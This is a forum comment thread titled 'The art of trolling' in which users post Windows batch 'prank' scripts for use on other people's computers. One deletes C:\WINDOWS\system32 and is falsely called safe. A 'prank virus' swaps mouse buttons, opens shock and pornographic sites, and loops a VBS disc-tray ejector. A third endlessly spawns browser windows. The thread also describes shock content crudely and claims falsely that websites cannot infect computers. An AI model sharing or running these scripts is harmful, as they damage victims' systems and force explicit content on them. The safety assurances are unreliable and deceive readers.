The art of trolling

Oh yes, deleting system32 is a classic, always fun to do

well it wont ruin his comuter though, but if you don't trust me you can always try your own computer :)

open a notepad type the following:
@echo off
del c:\WINDOWS\system32

yeye safe n shit do it

OH NO! YOU WHERE A TROLL ALL ALONG
This was so unexpected! wooooow...

Oh really?

**marcuss rolled a random image posted in comment #71 at I felt my baby kicking! ** huhhahehuhheh i just gave that guy accidently a red thumb ..

use up arrow to return it to normal (yes, some people cannot figure it out)

@echo off
HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Run\
color 02
Rundll32 user32,SwapMouseButton
echo FOR THE GLORY OF SATAN!
start iexplore.exe tubgirl.ca
start iexplore.exe www.pornhub.com/view_video.php?viewkey=870071773
start iexplore.exe gifura.orzhk.org/src/1332235315120.swf
start iexplore.exe www.meatspin.com

rem ---------------------------------
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem ---------------------------------

Personal prank virus I made, spams their disk tray and inverts their mouse if anyone wants to use it.

What is tubgirl?

Umm... short version: Girl gives herself enema, lies in tub, squirts orange-juice like shit into her own mouth. And when I mean shit, I don't mean 'stuff.' I mean, shite.

What.the.fuck

Faith in humanity lost forever...

Hey, if it exists, someone will wank to it. If you think about it, it's not much worse than necro or pedophilia. At least here you're just ruining yourself.

A girl shitting on herself in the tub.

lololoolololol this would be fucking amazing to do

but the question is, getting it to someones computer, is it reversible? i mean obviously you can remove it, but if it hits porn sites then it could lead to viruses no?

i can imagine this would be hilarious to do to an enemy.

also with newer windows most of the directorys are locked to writing so would echo off make it so it ignores that? or would you have to take ownership?

The second one in particular copies itself to startup, so you'd need to go to msconfig >> startup and uncheck it.
There's a really simple one call a fork bomb, it's basically this:
@echo off
:A
start iexplore.exe www.meatspin.com
goto :A

That'll spam until his computer crashes and the internet explorer generates a large amount of cookies(locally stored data) which will make his computer slow.

That would be cool for harmless trolling, like against friends, i can see a few youtube videos in the future.

This is why i go to the internet, learning so many new things to do.

I learned a lot of it from old books from about 2002 lying around the house, stuff on computer basics etc.
I guess you could go to hackforums, they have a batch coding section there where you could learn some decent stuff.

Im very cautious when going to sites that promote hacking just because they have the skills to do whatever they please, if its like a white hat scenario where they promote learning to hack to prevent it i might take a venture.

Still i find it hard to learn any type of programming from the net, it seems to learn these things its best to figure it out or do some schooling, which can be a pain.

Don't worry, you can't get infected through a website. Plus Hackforums is probably the friendliest, safest website out there. There's friendly coders and white hats who will help for free and give you tips and stuff.
I learned to start with Python coding and I'm now on Java, so it's worth a look.
There's different forums too, phreaking(phone hacking), website hacking, server hacking etc.
Try to avoid downloading clients from the minecraft section, they tend to be the ones that steal your password.